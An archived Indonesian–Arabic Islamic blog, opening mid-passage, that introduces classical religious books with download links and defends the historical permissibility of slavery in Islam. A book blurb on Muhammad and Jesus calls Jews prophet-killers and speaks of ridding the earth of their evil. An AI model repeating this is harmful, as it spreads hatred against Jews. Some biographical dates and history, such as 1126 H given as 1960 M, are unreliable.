ذلك أن الجارية إذا ولدت من سيدها ولدا فإنها تصبح حرة من وقت الولادة هى وابنها وينسب هذا الابن إلى أبيه ويرثه بعد موته

اذا فكيف يكون الرق فى الإسلام؟

لم يعد للرق إلا باب واحد فى الإسلام ألا وهو أسير الحرب فقط ويجوز بيعه وشراؤه لكن لا بد أن يكون أصل رقه من كونه أسير حرب

ثم استنبط الفقهاء قاعدة تقضي بأنه لا يرق ابن الحر وعليه فقد منعت كل أبواب الرق على فترة من الزمن وإن طالت إلا أن هذا ما كان يقتضيه الحال وقتها.

لكل ذي عقل أقول

أمامك نظامان من الرق قبل وبعد الإسلام وأترك لك أنت وحدك التفكر في أيهما كان أفضل وأيهما كان أحرص على غلق هذا الباب وأيهما عمل لمصلحة تلك الطبقة.

--------------------------------------------------------------------------------

[1] ـ سورة النساء آية 43

[2] ـ سورة المائدة آية 90

[3] ـ صحيح البخارى جـ 2 صـ 676 حديث رقم2114 وهذا سنده حدثني بِشْرُ بن مَرْحُومٍ حدثنا يحيى بن سُلَيْمٍ عن إِسْمَاعِيلَ بن أُمَيَّةَ عن سَعِيدِ بن أبي سَعِيدٍ عن أبي هُرَيْرَةَ رضي الله عنه...

[4] ـ راجع فيما سبق فتح البارى بشرح صحيح البخارى جـ 4 صـ 418

[5] ـ من الآية 141 سورة النساء.

[6] المستدرك على الصحيحين جـ 2 صـ 233 حديث رقم 2851 وهذا سنده حدثنا أبو علي الحسن بن علي الحافظ حدثنا محمد بن الحسن بن قتيبة وعبد الله بن محمد بن سالم قالا حدثنا إبراهيم بن محمد بن يوسف الفريابي حدثنا ضمرة بن ربيعة عن سفيان عن عبد الله بن دينار

AL-BARZANJY (Kitab Shalawat Yang Sangat Masyhur dan Sering Dibaca Masyarakat Indonesia di pesantren2 - Subhanallah)

2008-12-16T00:08:00.001+02:00

Nama Pengarang: Sayid Ja'far Bin Husain Bin Abdul Karim Al-Barzanji

Garis Keturunannya:

Sayid Ja'far ibn Hasan ibn Abdul Karim ibn Muhammad ibn Sayid Rasul ibn Abdul Syed ibn Abdul Rasul ibn Qalandar ibn Abdul Syed ibn Isa ibn Husain ibn Bayazid ibn Abdul Karim ibn Isa ibn Ali ibn Yusuf ibn Mansur ibn Abdul Aziz ibn Abdullah ibn Ismail ibn Al-Imam Musa Al-Kazim ibn Al-Imam Ja'far As-Sodiq ibn Al-Imam Muhammad Al-Baqir ibn Al-Imam Zainal Abidin ibn Al-Imam Husain ibn Sayidina Ali r.a. dan Sayidatina Fatimah binti Rasulullah saw.

Dinamakan Al-Barjanzy karena dinisbahkan kepada nama desa pengarang yang terletak di Barjanziyah kawasan Akrad (kurdistan). Kitab tersebut nama aslinya ‘Iqd al-Jawahir (Bahasa Arab, artinya kalung permata) sebagian ulama menyatakan bahwa nama karangannya adalah "I'qdul Jawhar fi mawlid anNabiyyil Azhar". yang disusun untuk meningkatkan kecintaan kepada Nabi Muhammad saw, meskipun kemudian lebih terkenal dengan nama penulisnya.

Beliau dilahirkan di Madinah Al Munawwarah pada hari Kamis, awal bulan Zulhijjah tahun 1126 H (1960 M) (1766 beliau menghafal Al-Quran 30 Juz kepada Syaikh Ismail Alyamany dan Tashih Quran (mujawwad) kepada syaikh Yusuf Asho'idy kemudian belajar ilmu naqliyah (quran Dan Haditz) dan 'Aqliyah kepada ulama-ulama masjid nabawi Madinah Al Munawwarah dan tokoh-tokoh qabilah daerah Barjanzi kemudain belajar ilmu nahwu, sharaf, mantiq, Ma'ani, Badi', Faraidh, Khat, hisab, fiqih, ushul fiqh, falsafah, ilmu hikmah, ilmu teknik, lughah, ilmu mustalah hadis, tafsir, hadis, ilmu hukum, Sirah Nabawi, ilmu sejarah semua itu dipelajari selama beliau ikut duduk belajar bersama ulama-ulama masjid nabawi. Dan ketika umurnya mencapai 31 tahun atau bertepatan 1159 H barulah beliau menjadi seorang yang 'Alim wal 'Allaamah dan Ulama besar.

Sifatnya:

Wajahnya tampan, perilakunya sopan, matanya luas, putih giginya, hidungnya mancung,jenggotnya yang tebal,Mempunyai akhlak yang terpuji, jiwa yang bersih, sangat pemaaf dan pengampun, zuhud, amat berpegang dengan Al-Quran dan Sunnah, wara', banyak berzikir, sentiasa bertafakkur, mendahului dalam membuat kebajikan bersedekah,dan sangat pemurah.

Seorang ulama besar yang berdedikasi mengajarkan ilmunya di Masjid Kakeknya (Masjid Nabawi) SAW sekaligus beliau menjadi seorang mufti Mahzhab Syafiiyah di kota madinah Munawwarah.

"Al-'Allaamah al-Muhaddits al-Musnid as-Sayyid Ja'far bin Hasan al-Barzanji adalah MUFTI ASY-SYAFI`IYYAH di Kota Madinah al-Munawwarah. Banyak perbedaan tentang tanggal wafatnya, sebagian menyebut beliau meninggal pada tahun 1177 H. Imam az-Zubaidi dalam "al-Mu'jam al-Mukhtash" menulis bahwa beliau wafat tahun 1184 H, dimana Imam az-Zubaidi pernah berjumpa dengan beliau dan menghadiri majelis
pengajiannya di Masjid Nabawi yang mulia.

Maulid karangan beliau ini adalah kitab maulid yang paling terkenal dan paling tersebar ke pelosok negeri 'Arab dan Islam, baik di Timur maupun di Barat. Bahkan banyak kalangan 'Arab dan 'Ajam (luar Arab) yang menghafalnya dan mereka membacanya dalam waktu-waktu tertentu. Kandungannya merupakan khulaashah (ringkasan) sirah nabawiyyah yang meliputi kisah lahir baginda, perutusan baginda sebagai rasul, hijrah, akhlak, peperangan sehingga kewafatan baginda.

Kitab karangan Lainnya:

مختصر الضوء الوهاج في قصة الاسراء والمعراج
الغصن الوردي في اخبار السيد المهدي
جالية الكرب بأخبار اصحاب سيد العجم والعرب (اهل بدر وأحد)
النفح الضرجي في الفتح الجته جي
اتحاف البرايا لعدت الغزوات والسرابا
إضاء الدراري لإرشاد الساري على صحيح البخاري
الروض المعطار فيما للسيد محمد بن رسول البرزنجي من آثار (ترجمة)
المولد النبوي الشريف المسمى عقدالجوهر في مولد النبي الازه

Wafat:
Beliau telah kembali ke rahmatullah pada hari Selasa, setelah Asar,4 Sya'ban, tahun 1177 H (1766 M). Jasad beliau makamkan di Baqi' bersama keluarga Rasulullah saw.

Kitab maulid Barzanji sendiri telah disyarah (dijelaskan) oleh ulama-ulama besar seperti Syaikh Muhammad bin Ahmad 'Ilyisy al-Maaliki al-'Asy'ari asy-Syadzili al-Azhari yang mengarang kitab "al-Qawl al-Munji 'ala Mawlid al- Barzanji" dan
Sayyidul 'Ulama-il Hijaz, Syeikh Muhammad Nawawi al-Bantani al-Jawi "Madaarijush Shu`uud ila Iktisaa-il Buruud".

By. M Hasbi

Downlaod Kitab Albarzanjy Disini

Downlaod Terjemah Albarzanjy Disini

ALFIYAH IBNU MALIK (Kumpulan 1000 syair ILMU NAHWU DAN SHARAF)

2008-12-15T22:47:00.007+02:00

Pengarang: Muhammad Bin Abdullah Bin Malik Alandalusy

Profile Pengarang:

Nama Asli: Jamaluddin Muhammad Bin abdullah Bin Abdullah Bin Malik

TTL: Jayyan Alandalus Tahun 600 H (1230 M)

Beliau Adalah seorang Al-Imam Al'alaamah (Yang Mempunayi Ilmu Luas) Alandalusy (Vandals) sebuah tempat yang menjadi hijrahnya penduduk asli jermany (Jerman dan Belanda sekarang) dari jermany ke isberia (Spanyol dan Portugal sekarang) yang mana kota andalus runtuh oleh kerajaan Kristen Konstalin.

Mazdhab Fiqih: Beliau bermadzhab Maliky ketika berada dikawasan Negara Islam bagian Barat dan Bermadzhab Syafii ketika berada di Asia Bagian Timur sampai berakhir ke Damsyiq - Syiria.

Guru-Gurunya:
- Memperdalam Bahasa arab dari gurunya abu Madzfar Tsabit Bin Muhammad Yusuf Alkala'i dari suku lublah;
- Memperdalam Ilmu Qiraat dari abi Alabbas Ahmad bin Nura;
- Membaca kitab Sibawaih dari Abi Abdillah Bin Malik Almarsyani dan Jalis Ibnu Ya'isy dan muridnya Ibn Amrun;
- Menjadi seorang spesialis penyempurna dialektika bahasa arab sehingga sampailah seperti apa yang dia cita-citakan dan menjadi panutan untuk ilmu bahasa arab pada zaman itu.
- Beliau menjadi seorang pakar dalam ilmu Qiraat dan mengarang syair Daliyah Marzumah Fi Qadr Asyatibiyah.

Karangan-karangan lain beliau:
- Almuwashal Fi Nudzum Almufassil terkanal dengan Simakul Mandhum
- Fakul Almakhtum atau terkenal dengan Fakkul Mandhum
- Kafiyah Asyafiiyah 3000 Bait dan Syarahnya.
- IKmal A'lam Bimutsallas Alkalam Kitab yang sangat besar dan berjilid.
- Lamiyah Afal Wa Syariha
- Fi'lu Wa Afal
- Almuqaddimah Asadiyah
- 'Iddatul Allafidz Wa 'Umdatul Hafidz
- Annudzum Alaujaz Fima Yahmaz
- Al'itidha Fi Adzaa Wa Adlaad
- 'Irab Musykil Albukhari
- Tuhfatul Almaudud Fi qushur Wa Addud
- Syarh Tashil

Sejarah Dikarangnya Kitab Alfiyah Ibn Malik:

Pada mulanya beliau mengarang kitab Alfiyah Ibn Malik sebagai persembahan bagi anaknya Taqiyuddin yang biasa dipanggil dengan Al-Asad (sang pemberani).

Pensyarah Alfiyah Ibnu Malik:

Banyak ulama-ulama nahwu islam yang membuat syarah Kitab Ibnu Malik (penjelasan kitab Alfiyah Ibnu Malik) yang kurang lebih berjumlah 40 kitab diantaranya:

1. Pengarang sekaligua anaknya Badruddin Muhammad
2. Burhanuddin Ibrahim Bin Musa Bin Ayub
3. Bahauddin abdullah Bin Abdurrahman Bin abdullah Bin 'Aqil Alqursy Al'aqily Almisyry.
4. Syaikh Abdullah Bin Husain Aladkawi
5. Badruddin Bin Qasim Bin Abdullah Bin Ali Almisry yang terkenal dengan Ibnu Umu Qasim
6. Nuruddin Aba Hasan Ali Bin Muhammad Alasymuni
7. Alalamah Mukhtar Bin Bun
8. Ibnu 'Ainy
9. dll...

Sekian: Penulis (M Hasbi)

Komentar:

Kitab ini wajib dimiliki dan dikuasai isinya bagi sesiapapun yang mengaku pakar dalam bahasa arab. Berisi 1000 bait tersaji dengan bahasa yang sangat padat singkat tidak bertele-tele dan jika dijabarkan satu bait saja akan menjadi 1 lembar, Subhanallah... Kitab ini terkenal dengan bahasanya yang sangat sulit sehingga untuk mencernanya diperlukan kitab syarah (kitab penjelasan Alfiyah) untuk memahaminya.

Kitab ini adalah yang paling tinggi tingkatannya pada jajaran kitab-kitab nahwu dan sharaf (ilmu yang wajib dikuasai untuk bisa baca kitab arab gundul yang tidak berharakat) juga kitab yang paling terkenal dikalangan santri pondok pesantren ala salafy (metode pengajaran cara dulu bukan modern). Yang mana lebih ditekankan pada penguasaan ilmu alat bahasa arab secara sempurna kemudian baru boleh memperdalam ilmu-ilmu lain seperti fiqih, aqidah dan lain-lain.

Bahkan dulu dipondok saya syarat lulus dari pondok ya harus hafal 1000 bait Alfiyah ini, bahkan disana ada musabaqah hifzul alfiyah (perlombaan hafalan alfiyah) disetiap tahunnya.

Pernah saya tanyakan kepada Prof. Linguistic Al-Azhar mengenai buku Alfiyah tadi. beliau memberi lontaran "Idza Aradta Antata'allama Nahwu Wa Sharf bi Att'amiiq Faqra, wahfah, Wahfaz Alfiyah Ibnu Malik" (Kalau anda ingin menguasai Ilmu Nahwu dan Sharaf secara detail maka Baca, Pahami dan Hafal alfiyah ibnu malik). Subhanallah...

M Hasbi

Downlaod Alfiyah Ibnu Malik:

Downlaod Kitab Alfiyah Ibnu Malik Disini

Downlaod Qasidah Mp3 1000 Bait Alfiyah Ibnu Malik:

Downlaod Qasidah Mp3 1000 Bait Alfiyah Ibnu Malik Disini

فقه الإسلام و أدلته (FIQHUL ISLAM WAADILLATUH)

2008-12-15T03:01:00.013+02:00

Photo: DR. Wahbah Zuhaily
Profile:
Nama Asli : Wahbah Bin Mustafa Zuhaily
TTL : Dir 'Atiyah - Suriah - 1932 M
Pendidikan : - Sarjana S1 Syariah Al-Azhar University
- S2 Cairo University (Syariah Islamiyah)
- S3 Cairo University (Syariah Islamiyah) meraih nilai Summe Cumloude dengan judul Desertasi " Atsar Alharb Fi Fiqh Islami - Dirasah Muqaranah " (Pengaruh Peperangan Dalam Fiqih Islam - Studi Komparasi)

Kumpulan Karya-karyanya:
1 - http://www.zuhayli.net/books_fiqh.htm
2 - http://www.zuhayli.net/books_quran.htm (Kumpulan Karya dalam Quranic Studies)
3- http://www.zuhayli.net/books_studies.htm ( Kumpulan Karya dalam Islamic Studies)
4- http://www.zuhayli.net/books_sunah.htm (Kumpulan Karya dalam Ilmu Hadis)
5- http://www.zuhayli.net/books_tra.htm
6- http://www.zuhayli.net/books_akidah.htm
7- http://www.zuhayli.net/books_com.htm
8- http://www.zuhayli.net/books_sp.htm
9- http://www.zuhayli.net/books_ency.htm
10- http://www.zuhayli.net/books_maga.htm
11- http://www.zuhayli.net/books_magall.htm
12- http://www.zuhayli.net/books_tra.htm

Komentar:

FIQHUL ISLAM WAADILLATUH adalah buku (Kitab) yang wajib dimiliki bagi setiap guru (ustadz) atau sesiapa yang mempunyai tanggungjawab menjelaskan semua permasalahan fiqih islam secara shahih (benar) kepada masyarakat. Buku ini mengupas tuntas permasalahan fiqih lengkap hingga terkecil sekalipun disajikan secara sistematis, terperinci dan sesuai dengan realita yang banyak dipertanyakan masyarakat dengan mengambil metode komparasi dari beberapa madzhab Ahlussunnah Waljamaah kemudian beliau merekomendasikan satu pendapat yang paling utama berdasar dalil (dasr hukum) dari pendapat-pendapat yang ada.

Boleh dikata "Kalau mau terjun kemasyarakat maka pakailah buku ini, sudah cukup!" Ya karena buku ini memang sangat lengkap semua permasalahan fiqih hingga yang terkecil semuanya dibahas tuntas. Anda penasaran..?! Silahkan mumpung gratis disini.

Jangan sia-siakan download bukunya dan baca isinya. Harga Aslinya : 650 Le ( Rp. 1,2 Juta)

Download Disini:

Gambar Buku
Downlaod Jilid-1
Downlaod Jilid-2
Downlaod Jilid-3
Downlaod Jilid-4
Downlaod Jilid-5
Downlaod Jilid-6
Downlaod Jilid-7
Downlaod Jilid-8

Semoga bermanfaat;

Ttd.
Muhammad Hasbi

KAMUS INDONESIA - ARAB / ARAB - INDONESIA

2008-12-15T02:09:00.001+02:00

Downlaod Disini

Jawaban Dari Pertanyaan Yang Keluar Dari Musuh Isam Seputar Legalitas Perbudakan Dalam Islam

2008-12-07T19:35:00.001+02:00

شبهة الرق من الشبهات التى لا يفتا خصوم الاسلام يرددونها , و السؤال الذى يطرح نفسه :ما هو هدف طارح هذه الشبهة او هذا الاعتراض ؟

اعتقد ان الهدف من ذلك ان يطعن فى كون القران الكريم كتابا الهيا

اذن لنناقش هذه المسالة نقاشا علميا لنرى هل تفيد حقا ان القران ليس كتابا الهيا ؟

ان من يطرح هذا الاعتراض احد شخصين :

- اما انه ملحد لا يؤمن بوجود الله تعالى ,فهذا لا معنى للنقاش معه فى هذه المسالة ,و لا مسائل النبوات اصلا ,بل نناقشه فى مسالة وجود البارى اولا .

- و اما انه مقر بوجود الله لكن لا يقر بنبوة محمد ,و يعتبر هذه الشبهة مطعنا فى نبوة محمد صلى الله عليه و سلم

وهذا هو من سنناقشه هنا .

هل عدم الغاء القران الكريم للرق يصلح ان يكون دليلا على انه ليس كتاب الله ؟

ان هذه النتيجة تتوقف على اثبات ان الله تعالى "يمتنع " ان ينزل كتابا لا يلغى الرق .
فهل يعتقد طارح الاعتراض ان الله " يمتنع " ان ينزل كتابا لا يلغى الرق ؟

ما هو الدليل على امتناع ذلك ؟

الواقع انه لا يوجد اى مانع عقلا من ذلك و لنوضح هذه الحقيقة بمثال بسيط :

ان الله سبحانه هو خالق الزلازل و الامراض ,هذه حقيقة يؤمن بها كل مؤمن بوجود الخالق
و فى الزلازل و الامراض من الضرر ما هو اشد من ضرر الرق ,
بل ان الضرر فى الزلازل و الامراض هو من فعل الله مباشرة ,بينما ضرر الرق ليس كذلك

فهل من يخلق الزلازل و الامراض يمتنع او يستحيل عقلا ان ينزل كتابا لا يلغى الرق ؟!

اعتقد ان اى عاقل منصف سيجيب بانه لا يمتنع ذلك

و بهذا يتضح تهافت بل سذاجة الاحتجاج بعدم الغاء القران للرق على انه ليس كتابا الهيا

و كما ان المؤمن بالخالق الحكيم لا يرى فى خلق الله للزلازل و الامراض ما يصطدم بحكمته تعالى ,فمن باب اولى عدم الغائه للرق

و فلسفة الاسلام فى الجمع بين الاعتقاد بحكمة الخالق و عدله ,و بين هذه الافعال التى تتضمن ضررا للبعض, هو ان الحياة الدنيا ليست هى نهاية المطاف , بل انها لا تساوى فى نظر الاسلام جناح بعوضة ,فهناك حياة اهم هى الحياة الاخرة ,و كل ضرر يلحق باى انسان فى الدنيا بغير ذنب جناه - سواء كان ضررا من فعل الله كالزلازل و الامراض , او ضررا من فعل انسان لم يحرمه الله -,فان الله تعالى سيعوض هذا المتضرر فى الاخرة بما يوجبه عدله و حكمته .

------------

ان الاسلام لم يوجد الرق و لم ينشئه ,و انما وجد قبله بقرون طويلة و عند مختلف امم الارض ,و القران اشار اليه كامر واقع و الاحكام الاسلامية جاءت لمعالجة و تعديل هذ الامر الواقع , و قد بينا ان عدم الغاء القران للرق لا يصلح ان يكون دليلا على انه ليس كتابا الهيا

و مع ذلك فهناك كثير يمكن قوله عن الاسلام فى هذا الصدد ,لقد كان الرقيق على الاغلب من اسرى الحروب ,و فى الاية الرابعة من سورة محمد ضربة حاسمة لذلك, حيث جعلت مصير اسرى الكفارالاعداء الذين يقعون فى ايدى المسلمين : التسريح بعد انهاء الحرب , اما بفداء و اما بدون فداء , و لم تامر الاية بقتلهم او استرقاقهم

( حَتَّى إِذَا أَثْخَنتُمُوهُمْ فَشُدُّوا الْوَثَاقَ فَإِمَّا مَنًّا بَعْدُ وَإِمَّا فِدَاء حَتَّى تَضَعَ الْحَرْبُ أَوْزَارَهَا )

هذا و من الجدير بالتنبيه ان حالات الاسرى المذكورة فى القران هى فى صدد اسرى الاعداء المحاربين , فليس هناك اى نص قرانى او نبوى يجيز او يقر اسر المسالمين و المحايدين و المعاهدين من غير المسلمين فضلا عن استرقاقهم , كما ان الاخوة الاسلامية التى وطدها القران تمنع ان يسترق المسلمون اخوانهم فى الاسلام عند وقوع قتال بينهم .

عناية القران الكريم بتحرير الرقيق :

ورد فى القران ايات عديدة تهدف الى تحرير الرقيق :

فاولا- قد جعل فى مصارف الزكاة نصيب مفروض لشراء الرقيق و عتقه

(إِنَّمَا الصَّدَقَاتُ لِلْفُقَرَاء وَالْمَسَاكِينِ وَالْعَامِلِينَ عَلَيْهَا وَالْمُؤَلَّفَةِ قُلُوبُهُمْ وَفِي الرِّقَابِ وَالْغَارِمِينَ وَفِي سَبِيلِ اللّهِ وَابْنِ السَّبِيلِ فَرِيضَةً مِّنَ اللّهِ وَاللّهُ عَلِيمٌ حَكِيمٌ ) التوبة :60

ثانيا - منح الرقيق حق شراء نفسه من سيده بالمكاتبة و التقسيط كما فى قوله تعالى :
(وَالَّذِينَ يَبْتَغُونَ الْكِتَابَ مِمَّا مَلَكَتْ أَيْمَانُكُمْ فَكَاتِبُوهُمْ إِنْ عَلِمْتُمْ فِيهِمْ خَيْرًا وَآتُوهُم مِّن مَّالِ اللَّهِ الَّذِي آتَاكُمْ) النور :33

و فحوى الاية يلهم ان استجابة المالك الى طلب مولاه اذا ثبت حسن نيته هو واجب دينى لان فيه تنفيذ لامر الله

ثالثا - قد جعل القران الكريم تحرير الرقيق كفارة عن قتل الخطا ,و الحانث باليمين او الراجع عنه,و المظاهر لامراته

(وَمَا كَانَ لِمُؤْمِنٍ أَن يَقْتُلَ مُؤْمِنًا إِلاَّ خَطَئًا وَمَن قَتَلَ مُؤْمِنًا خَطَئًا فَتَحْرِيرُ رَقَبَةٍ مُّؤْمِنَةٍ وَدِيَةٌ مُّسَلَّمَةٌ إِلَى أَهْلِهِ إِلاَّ أَن يَصَّدَّقُواْ فَإِن كَانَ مِن قَوْمٍ عَدُوٍّ لَّكُمْ وَهُوَ مْؤْمِنٌ فَتَحْرِيرُ رَقَبَةٍ مُّؤْمِنَةٍ) النساء :93

(لاَ يُؤَاخِذُكُمُ اللّهُ بِاللَّغْوِ فِي أَيْمَانِكُمْ وَلَـكِن يُؤَاخِذُكُم بِمَا عَقَّدتُّمُ الأَيْمَانَ فَكَفَّارَتُهُ إِطْعَامُ عَشَرَةِ مَسَاكِينَ مِنْ أَوْسَطِ مَا تُطْعِمُونَ أَهْلِيكُمْ أَوْ كِسْوَتُهُمْ أَوْ تَحْرِيرُ رَقَبَةٍ ) المائدة :89

(وَالَّذِينَ يُظَاهِرُونَ مِن نِّسَائِهِمْ ثُمَّ يَعُودُونَ لِمَا قَالُوا فَتَحْرِيرُ رَقَبَةٍ مِّن قَبْلِ أَن يَتَمَاسَّا ذَلِكُمْ تُوعَظُونَ بِهِ وَاللَّهُ بِمَا تَعْمَلُونَ خَبِيرٌ ) المجادلة :3

رابعا - قد حضت ايات اخرى على عتق الرقيق و اعتبرت ذلك من القربات لله

(لَّيْسَ الْبِرَّ أَن تُوَلُّواْ وُجُوهَكُمْ قِبَلَ الْمَشْرِقِ وَالْمَغْرِبِ وَلَـكِنَّ الْبِرَّ مَنْ آمَنَ بِاللّهِ وَالْيَوْمِ الآخِرِ وَالْمَلآئِكَةِ وَالْكِتَابِ وَالنَّبِيِّينَ وَآتَى الْمَالَ عَلَى حُبِّهِ ذَوِي الْقُرْبَى وَالْيَتَامَى وَالْمَسَاكِينَ وَابْنَ السَّبِيلِ وَالسَّآئِلِينَ وَفِي الرِّقَابِ وَأَقَامَ الصَّلاةَ وَآتَى الزَّكَاةَ وَالْمُوفُونَ بِعَهْدِهِمْ إِذَا عَاهَدُواْ وَالصَّابِرِينَ فِي الْبَأْسَاء والضَّرَّاء وَحِينَ الْبَأْسِ أُولَـئِكَ الَّذِينَ صَدَقُوا وَأُولَـئِكَ هُمُ الْمُتَّقُونَ )البقرة :177

(فَلَا اقْتَحَمَ الْعَقَبَةَ *وَمَا أَدْرَاكَ مَا الْعَقَبَةُ * فَكُّ رَقَبَةٍ ) البلد :11-13

و نكرر مرة اخرى ان عدم الغاء القران للرق لا يصلح دليلا على انه ليس كتابا الهيا كما سبق بيانه .

و الله الهادى الى سواء السبيل

Islam dan Aplikasi Perekonomian

2008-10-16T10:46:00.002+02:00

Downlaod Disini

ALFUSUL FI MUSTALAH HADIS

2008-09-30T14:33:00.003+02:00

Kitab ini mengggambarkan tentang berbagai hal dalam ilmu mustalah hadiz (istilah-istilah dalam hadis) sesuai dengan kurikulum bagi mahasiswa semester 4 Universitas Islamiyah Kota Shadik Abad-Pakistan. Sang penulis merangkum dari berbegai referensi kitab hadis karangan ulama-ulama besar kemudian disesuaikan dengan kurikulum pendidikan yang ada.(Comment By. M Hasbi)

Downlaod Disini

RIJAL HAULA RASUL SAW. KARANGAN KHALID MUHAMMAD KHALID

2008-09-30T14:28:00.003+02:00

Kitab ini memaparkan perjalanan orang-orang terdekat Nabi Muhammad dari kesehariannya dan perannya dalam mengemban dakwah islam. Kitab ini menggunakan bahasa sastra yang indah dan bisa memunculkan memori rasa bagaimana para sahabat dulu berjuang demi tegaknya agama islam. (Comment By. M Hasbi)

Downlaod Disini

عرض لسير بعض صحابة رسول الله : أيامهم ومواقفهم في خدمة الدين ، بأسلوب أدبي راق ، وسرد مشوق ، يثير النفس لعزائم الأمور ويقوي روابطها بالصحب الكرام ، وينمي فيها روح العمل والتضحية لهذا الدين

Mengapa Engkau menghina Muhammad, sedang Muhammad mencintai Nabi Isa !?

2008-09-30T04:39:00.001+02:00

KITAB PERBANDINGAN AGAMA: Sesungguhnya relasi antara nabi Muhammad SAW. dan Nabi Isa AS. adalah murni relasi kasih sayang, sebagaimana nabi muhammad sangat mencintai Nabi Isa dan itu diterangkan dalam banyak tatanan kehidupan beliau baik dari Al-Qura'an ataupun Assunnah.

Nabi Muhammad mengetahui betul siapa Nabi Isa dari mulai dlahirkan oleh ibunya Maryam binti 'Imran AS dan seterusnya tentang Nabi Isa. Juga memberikan diskusi tentang itu semua dengan bahasa yang sopan... dan seterusnya. (Comment by. M Hasbi)

Downlaod Disini

.ومحمد صلى الله عليه وسلم عرف بأخيه المسيح عليه السلام تعريفاً كاملاً من قبل ميلاد أمه العذراء مريم بنت عمران عليها السلام إلى نهاية التاريخ وتوقف الزمن الأرضي،وقدم الكتاب المقدس الإنجيل الحق،المنزل على المسيح عليه السلام ،بأزهى تقديم وقدم الحواريين بأجمل صورة، ودافع عن مؤمني النصارى المضطهدين دفاعا اتسم بالمحبة لهم،وبكراهية مضطهديهم الطغاة، فالمسلم الحقيقي لا يكون مسلماً حقاً إلا إذا آمن بالمسيح صلى الله عليه وسلم،وبانجيل المسيح عليه السلام ،والنور الذي جاء به المسيح عليه السلام ،...... وأما ما يفعله الغربيون من رسم رسوماً يلمزون بها محمد صلى الله عليه وسلم ما هي إلا نوع من أنواع الحروب على الإسلام، والتي يدير رحاها، قتلة الأنبياء المغضوب عليهم اليهود،تحت ظل حرية الرأي وحرية التعبير زعموا؟!، والتي لا تقف إلا بنزول المسيح عليه السلام بقتله للخنزير وكسره للصليب وتخليص الأرض من شر اليهود ليعم بعدها السلام العالمي على الإنسانية.فأقول لهؤلاء اللامزين إن لم تؤمنوا بمحمدصلى الله عليه وسلم ورسالته فلا أقل من أن تحترموه لأنه يحب المسيح عليه السلام .هذا فان كل ما كتبته هو نصرة لحبيبنا وشفيعنا وقرة أعيننا محمد صلى الله علسه وسلم ..

SAFWAH TAFASIR KARANGAN SYAIKH MUHAMMAD BIN 'ALI ASSHABUNI

2008-09-30T04:04:00.000+02:00

هو مؤلف ثمين خلاصة ما قاله أئمة المفسرين ليسهل فهمه على طلبة العلم، بأسلوب مبسط وعبارات ميسرة وإيضاحات جيدة، مع العناية بالجوانب اللغوية والبيانية

Downlaod Disini

وقد سلك مؤلفه في طريقة تفسيره للكتاب العزيز الأسلوب الآتي:
أولاً: بين يدي السورة، وهو بيان إجمالي للسورة الكريمة وتوضيح مقاصدها الأساسية.
ثانياً: المناسبة بين الآيات السابقة والآيات اللاحقة.
ثالثاً: اللغة مع بيان الاشتقاق اللغوي والشواهد العربية.
رابعاً: سبب النزول.
خامساً: التفسير.
سادساً: البلاغة.
سابعاً: الفوائد واللطائف.
وقد سُئل الشيخ بن جبرين حفظه الله عن الكتاب فقال :
هذا الكتاب قد اجتهد فيه مؤلفه، وجمعه من عدة تفاسير، واطلع على أقوال العلماء المتقدمين والمتأخرين، لكن المؤلف على معتقد الأشاعرة في الأسماء والصفات، وقد ظهر أثر عقيدته في الكثير من الآيات التي تعرض لتأويلها، وصرف دلالتها، ولو على وجه الرمز والاختفاء، وهي معلومة لكل مسلم صحيح المعتقد، وأما بقية التفسير فلا مانع من قراءته، وهو أقل أخطاء من كتب الأشاعرة كالرازي وأبي السعود والبيضاوي ونحوهم.

ومن المآخذ على الكتاب ومؤلفه ما قاله الشيخ صالح الفوزان حفظه الله في " البيان لأخطاء بعض الكتاب "
1- عتماده على مصادر غير مرغوب فيها ووصفه لها بأنها أوثق كتب التفسير، مثل‏:‏ ‏"‏ تلخيص البيان ‏"‏ للرضي الشيعي الرافضي المعتزلي، و ‏"‏ تفسير الزمخشري ‏"‏ المعتزلي، وعلى تفاسير الأشاعرة كالرازي وأبي السعود والصاوي والبيضاوي، وبعض التفاسير العصرية مثل تفسير سيد قطب والقاسمي، ولا يخفى ما في هذا من التغرير بالقراء الذين لا يعرفون حقيقة هذه الكتب‏.‏
2- إثبات المجاز والاستعارات في القرآن الكريم مما لا يتناسب مع مكانته الجليلة، وكلام الله يجب حمله على الحقيقة لا على المجاز‏.‏
3- حشو الكتاب بما لا يفهمه كثير من القراء من اصطلاحات البلاغيين، مثل‏:‏ الطباق، والجناس، والاشتقاق، والإطناب، والحذف، ويذكر هذه الأشياء بمجرد أسمائها من غير إيضاح لها‏.‏
4- يورد في الكتاب كثيرا من الأحاديث في أسباب النزول، ولا يبين درجتها من الصحة وعدمها‏.‏
5- ينقل من كتب المعتزلة والأشاعرة من غير تعليق على ما تشتمل عليه عباراتهم من أغلاط في العقيدة، وهذا فيه تمرير لعقائدهم الباطلة وتغرير بالقارئ المبتدئ‏.‏
6- يتهرب من تفسير آيات الصفات بالأحاديث التي جاءت توضحها، كما في آية ‏{‏حَتَّى إِذَا فُزِّعَ عَن قُلُوبِهِمْ‏}‏، وآية‏:‏ ‏{‏هُوَ الأول وَالآخِرُ وَالظَّاهِرُ وَالْبَاطِنُ‏}‏، وآية‏:‏ ‏{‏يَوْمَ يُكْشَفُ عَن سَاقٍ‏}‏، ويفسرها بما فسرها به نفاة الصفات‏.‏
7- يتمشى على منهج المتكلمين في الاستدلال بالآيات على إثبات توحيد الربوبية ووجود الرب ولا يستدل بها على توحيد الإلهية الذي سيقت من أجله وجاءت لمحاجة المخالفين فيه‏.‏
8- يتمشى على منهج المرجئة في تفسير الإيمان بالتصديق فقط‏.‏
9- تمر في تفسيره تعبيرات صوفية وقد نبهنا عليها في مواضعها‏.‏
المصدر :
كتاب: البيان لأخطاء بعض الكتاب .
لسماحة الشيخ صالح بن فوزان بن عبد الله الفوزان .

ZAHRAH TAFASIR KARANGAN SYAIKH MUHAMMAD ABU ZAHRA

2008-09-30T03:12:00.000+02:00

Dicetak Oleh Daarul Annasyar
Jumlah Jilid: 10 Jilid

Kitab tafsir ini pertama kali dicetak oleh Maktabah Waqfiyah kemudian dipindah keseluruhannya dengan tujuan mentashih segala ayat-ayat quran yang salah cetak sebelumnya ( Comment by. M Hasbi)

Downlaod Disini

Photo. Syaikh Muhammad Abu Zahra

TAFSIR SYA'RAWI KARANGAN SYAIKH SYA'RAWI

2008-09-30T03:03:00.000+02:00

